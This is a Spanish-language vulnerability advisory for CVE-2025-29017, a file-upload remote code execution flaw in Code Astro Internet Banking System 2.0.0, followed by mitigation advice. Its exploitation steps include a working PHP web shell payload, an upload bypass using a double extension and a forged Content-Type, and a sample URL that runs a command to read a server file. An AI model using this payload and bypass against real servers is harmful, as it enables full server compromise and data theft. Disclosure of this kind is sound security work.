CVE-2025-29017 - Sistema de Banca por Internet 2.0.0 Ejecución Remota de Código a través de la Carga de Foto de Perfil

Descripción

Existe una vulnerabilidad de Ejecución Remota de Código (RCE) en Code Astro Internet Banking System 2.0.0 debido a una validación incorrecta de carga de archivos en el parámetro profile_pic dentro de pages_view_client.php. Los atacantes pueden eludir las comprobaciones de seguridad modificando la solicitud de carga, lo que conduce a la ejecución de código arbitrario.

Componente Afectado

• Parámetro profile_pic en pages_view_client.php
• La función de carga permite la ejecución de archivos PHP maliciosos

Pasos de Explotación

1. Navegue a la configuración del perfil de usuario y busque una nueva foto de perfil.

2. Intercepte la solicitud de carga de foto de perfil usando una herramienta como Burp Suite.

3. Modifique el archivo a doble extensión (.jpeg.php), modifique el encabezado Content-Type a application/x-php y agregue código PHP malicioso:

<?php system($_GET['cmd']); ?>

4. Puede comprobar si el archivo se ha subido en /admin/dist/img/:

http://IP:PORT/InternetBanking-php/admin/dist/img/image.jpeg.php?cmd=type C:\Users\file.txt

Impacto

• Compromiso Total del Servidor
• Robo de Datos
• Escalada de Privilegios

Mitigación

• Restrinja las cargas de archivos solo a formatos de imagen y verifique los tipos MIME.
• Sanitice los nombres de archivo y bloquee archivos que contengan código ejecutable.
• Almacene los archivos subidos fuera de la raíz web.

Referencias

• Seguridad en la Carga de Archivos de OWASP